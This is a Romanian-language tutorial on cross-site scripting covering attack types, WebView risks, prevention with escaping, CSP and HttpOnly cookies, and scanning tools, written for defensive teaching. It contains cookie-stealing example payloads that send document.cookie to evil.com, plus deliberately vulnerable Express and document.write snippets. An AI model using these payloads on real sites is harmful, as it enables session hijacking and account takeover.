XSS — ce este, tipuri de atacuri și metode de protecție

Ce este XSS?

XSS (Cross-Site Scripting) — este o vulnerabilitate care permite atacatorului să injecteze cod JavaScript într-o pagină web, care apoi se execută în browserul victimei. Browserul încarcă pagina de pe un site de încredere și execută scriptul injectat cu aceleași drepturi ca și codul legitim al site-ului. Acest lucru oferă atacatorului acces la cookie-uri, session storage, arborele DOM al paginii și posibilitatea de a trimite cereri în numele victimei. Vulnerabilitățile XSS apar atunci când aplicația inserează datele utilizatorului într-o pagină HTML fără escape-area corespunzătoare sau validare.

Istoria și actualitatea XSS

Termenul Cross-Site Scripting a apărut pentru prima dată în 2000 în Buletinul de Securitate Microsoft. În ultimii 25 de ani, XSS nu și-a pierdut actualitatea: conform datelor HackerOne (2025), XSS reprezintă aproximativ 22% din toate vulnerabilitățile înregistrate pe platformă. Motivul persistenței XSS este complexitatea controlului tuturor punctelor de intrare a datelor utilizatorului. Orice câmp de intrare, parametru URL, antet de cerere HTTP sau nume de fișier poate deveni un vector de atac dacă datele sunt reflectate în codul HTML fără procesare.

Ce daune provoacă XSS?

Atacurile XSS pot duce la furtul cookie-urilor de sesiune, permițând atacatorului să se conecteze în contul victimei fără parolă. Alte consecințe: redirecționarea către site-uri de phishing, înlocuirea conținutului paginii, furtul de date personale, instalarea de software malțios (drive-by download). În 2023, un atac XSS asupra platformei Salesforce Community Cloud a afectat datele a mii de clienți corporativi, demonstrând că chiar și platformele mari nu sunt imune la această vulnerabilitate.

Tipuri de atacuri XSS

Clasificarea XSS împarte atacurile în trei tipuri principale în funcție de metoda de livrare a codului malțios. Fiecare tip necesită o abordare diferită de protecție: Stored XSS este blocat prin escape-area ieșirii din baza de date, Reflected — prin escape-area parametrilor URL, DOM-based — prin lucrul sigur cu DOM-API. Înțelegerea diferenței este baza unei strategii eficiente de securitate.

Stored XSS (permanent)

Cel mai periculos tip de XSS. Atacatorul injectează un script în datele pe care serverul le stochează în baza de date și le afișează la fiecare încărcare a paginii. Vectorul tipic — câmpul de comentarii: atacatorul publică un comentariu cu <script>document.location='https://evil.com/?c='+document.cookie</script>. Fiecare utilizator care încarcă pagina cu acest comentariu își trimite cookie-urile atacatorului. Stored XSS nu necesită nicio acțiune din partea victimei decât vizitarea paginii — ceea ce îl face deosebit de periculos pentru rețelele sociale, forumuri și bloguri.

Reflected XSS (reflectat)

Scriptul malțios este transmis în cererea HTTP (de obicei în parametrul URL) și este imediat reflectat de server în răspuns. Atacatorul creează un link de forma https://example.com/search?q=<script>...</script> și îl răspândește prin phishing, rețele sociale sau email. Victima, accesând linkul, primește o pagină în care interogarea de căutare introdusă (scriptul) este afișată fără escape-are. Reflected XSS necesită inginerie socială — victima trebuie să dea click pe link, ceea ce reduce, dar nu elimină riscul.

DOM-based XSS

Spre deosebire de Stored și Reflected, DOM-based XSS nu necesită trimiterea datelor către server. Vulnerabilitatea apare atunci când JavaScript-ul client inserează datele utilizatorului din URL, document.referrer, postMessage sau localStorage în DOM fără procesare sigură. De exemplu, codul de forma document.getElementById('output').innerHTML = location.hash.substring(1) execută orice HTML și scripturi din fragmentul URL (#<img onerror='...'>). DOM-based XSS este cel mai greu de detectat, deoarece serverul nu primește niciodată payloadul malțios — acesta este procesat complet pe client.

// Exemplu DOM-based XSS (COD VULNERABIL)
// Dacă userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
    window.location.search
).get('message');

// document.write — periculos: inserează HTML brut
document.write('<div>' + userInput + '</div>');

// ALTERNATIVA SIGURĂ — folosiți textContent
document.getElementById('output').textContent = userInput;

Cum funcționează un atac XSS?

Atacul XSS exploatează o proprietate fundamentală a webului: browserul execută JavaScript-ul primit de la un domeniu de încredere. Dacă atacatorul găsește o modalitate de a-și injecta codul în răspunsul HTML al serverului, browserul îl execută cu aceleași privilegii ca și codul legitim. Atacul parcurge trei faze: injectarea codului malțios în conținut, livrarea conținutului în browserul victimei și executarea codului cu acces la DOM, cookie-uri și storage.

Faza de injectare

Atacatorul găsește un punct de intrare — un câmp, parametru URL sau antet a cărui valoare serverul o include în răspunsul HTML fără escape-are. Puncte de intrare tipice: câmpuri de căutare, câmpuri de comentarii, nume de utilizator, URL avatar, fișiere cookie, anteturi HTTP (User-Agent, Referer). Frameworkurile moderne (React, Angular, Vue) escape-ază automat ieșirea, dar programatorii pot dezactiva escape-area prin dangerouslySetInnerHTML, bypassSecurityTrustHtml sau v-html.

Faza de livrare

Pentru Reflected XSS, atacatorul răspândește un link malțios. Pentru Stored XSS, este suficient să publice conținut pe site-ul țintă, iar fiecare vizitator al paginii devine victimă. DOM-based XSS se activează la încărcarea paginii cu un anumit fragment URL. Toate cele trei faze pot fi executate automat: dacă XSS este descoperit într-un banner publicitar (conținut terță parte), atacul va afecta toți utilizatorii site-ului până când bannerul este dezactivat.

// Exemplu Reflected XSS în căutare (BACKEND VULNERABIL)
// În loc să escapeze parametrul q, serverul îl inserează în HTML

// Express.js — handler vulnerabil:
app.get('/search', (req, res) => {
    const query = req.query.q; // date de intrare ale utilizatorului
    res.send(`<h1>Results for: ${query}</h1>`);
});

// VERSIUNEA SIGURĂ — escape prin encodeURI sau motor de șabloane:
app.get('/search', (req, res) => {
    const query = escapeHtml(req.query.q);
    res.send(`<h1>Results for: ${query}</h1>`);
});

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

XSS în aplicațiile mobile

Aplicațiile mobile sunt, de asemenea, susceptibile la atacuri XSS, deși într-o măsură mai mică decât site-urile web. Vectorul principal este WebView și frameworkurile hibride (Cordova, Capacitor, React Native cu WebView). Dacă aplicația încarcă conținut web în WebView — în special conținut utilizator (emailuri HTML, articole, mesaje) — vulnerabilitatea XSS poate duce la executarea JavaScript în interiorul aplicației cu acces la funcțiile native prin puntea JavaScript.

XSS în WebView Android

Android WebView execută JavaScript implicit. Dacă aplicația încarcă un șir HTML prin loadDataWithBaseURL() sau afișează conținut utilizator, un atac XSS poate oferi atacatorului acces la interfața JavaScript (addJavascriptInterface). Google a interzis utilizarea @JavascriptInterface pentru API < 17, dar codul legacy în aplicațiile vechi încă există. Protecție: dezactivați JavaScript în WebView dacă nu este necesar și utilizați navigation sigură.

XSS în React Native și Flutter

React Native nu utilizează WebView pentru UI — componentele sunt randate în vizualizări native. Cu toate acestea, la afișarea HTML prin react-native-webview sau componente rich-text, riscul XSS revine. Flutter utilizează propriul motor de randare (Skia) și nu suportă JavaScript în widgeturile HTML (flutter_html nu execută taguri script), dar pluginurile WebView (webview_flutter) sunt vulnerabile similar WebView-urilor native. Cea mai bună practică — nu transmiteți niciodată HTML neverificat în WebView.

• Dezactivați JavaScript în WebView dacă conținutul nu necesită interactivitate
• Utilizați anteturi CSP pentru a limita sursele de scripturi în WebView
• Sanitizați HTML înainte de încărcarea în WebView: eliminați tagurile script și gestionarele de evenimente
• Nu utilizați addJavascriptInterface pe Android fără verificarea strictă a datelor de intrare

// Configurarea sigură a WebView în Android
val webView = findViewById<WebView>(R.id.webview)

// Dezactivăm JavaScript dacă interactivitatea nu este necesară
webView.settings.javaScriptEnabled = false

// Sanitizăm HTML înainte de încărcare
val sanitizedHtml = Jsoup.clean(userHtml,
    Whitelist.basic()
        .removeProtocols("img", "src", "javascript")
)

webView.loadDataWithBaseURL(null, sanitizedHtml,
    "text/html", "UTF-8", null)

Metode de prevenire a XSS

Protecția împotriva XSS se bazează pe trei principii: nu aveți încredere în datele de intrare ale utilizatorului, escape-ați înainte de ieșire, utilizați Content Security Policy. Escape-area ieșirii (output encoding) — cea mai importantă metodă: toate datele primite de la utilizator trebuie escape-ate înainte de inserarea în HTML, JavaScript, CSS sau URL. Motoarele de șabloane moderne (Twig, Handlebars, JSX, Blade) fac acest lucru automat, dacă programatorul nu dezactivează escape-area prin metode speciale.

Escape-area contextuală

Escape-area depinde de contextul inserării datelor. În contextul HTML, se escape-ază <, >, &, ghilimelele. În contextul JavaScript, se escape-ază backtick-urile, , </script>. În contextul CSS — caracterele de control. În contextul URL — codificarea URL. O eroare de context — de exemplu, inserarea unui șir escape-at HTML într-un atribut onclick — nu protejează împotriva XSS, deoarece onclick se execută în contextul JavaScript, unde este necesară o altă escape-are.

Content Security Policy (CSP)

CSP — un antet HTTP care limitează sursele de la care browserul poate încărca scripturi, stiluri și alte resurse. CSP strict (fără unsafe-inline, fără unsafe-eval) blochează executarea oricăror scripturi inline, inclusiv vectorii XSS. Conform datelor Google Security Blog (2025), site-urile cu CSP blochează 95% din atacurile XSS. Exemplu: Content-Security-Policy: default-src 'self'; script-src 'self' interzice orice scripturi externe și inline. CSP nu protejează împotriva Stored XSS dacă scriptul este încărcat de pe același domeniu, dar acest lucru necesită efort suplimentar din partea atacatorului.

Cookie-uri HttpOnly și Secure

Setarea flagului HttpOnly pentru cookie-uri previne accesul la acestea prin JavaScript (document.cookie), ceea ce blochează furtul cookie-urilor de sesiune prin XSS. Flagul Secure garantează că cookie-ul este transmis doar prin HTTPS. Combinația HttpOnly + Secure + SameSite=Lax face furtul cookie-urilor de sesiune prin XSS practic imposibil. Cu toate acestea, XSS poate încă executa acțiuni în numele utilizatorului (de exemplu, trimiterea de cereri), deci HttpOnly nu este un panaceu, ci o parte a protecției complexe.

Instrumente pentru detectarea XSS

Testarea regulată pentru XSS — o parte obligatorie a pipeline-ului CI/CD al dezvoltării sigure. Scanerele automate găsesc până la 80% din vulnerabilitățile XSS, restul necesită testare manuală de penetrare. Cea mai bună abordare este combinația analizei SAST (statice), scanării DAST (dinamice) și revizuirii codului cu concentrare pe punctele de intrare a datelor utilizatorului.

• OWASP ZAP — scaner DAST gratuit, găsește automat XSS în aplicațiile web
• Burp Suite Professional — instrument avansat cu Active Scan și Intruder pentru XSS
• XSStrike — scaner specializat pentru XSS cu generare de payloaduri
• ESLint-plugin-security — analiză statică React/JSX pentru modele periculoase
• Google Observatory — verificarea anteturilor CSP și configurațiilor legate de XSS

Pentru aplicațiile mobile, testarea XSS include analiza WebView: verificarea interfețelor JavaScript, gestionarea schemelor URL și transmiterea HTML în loadDataWithBaseURL. De asemenea, se recomandă testarea gestionării postMessage în aplicațiile hibride și verificarea ce date sunt transmise prin puntea JavaScript. Utilizați un emulator cu proxy (Burp Suite) pentru interceptarea și modificarea traficului aplicației mobile.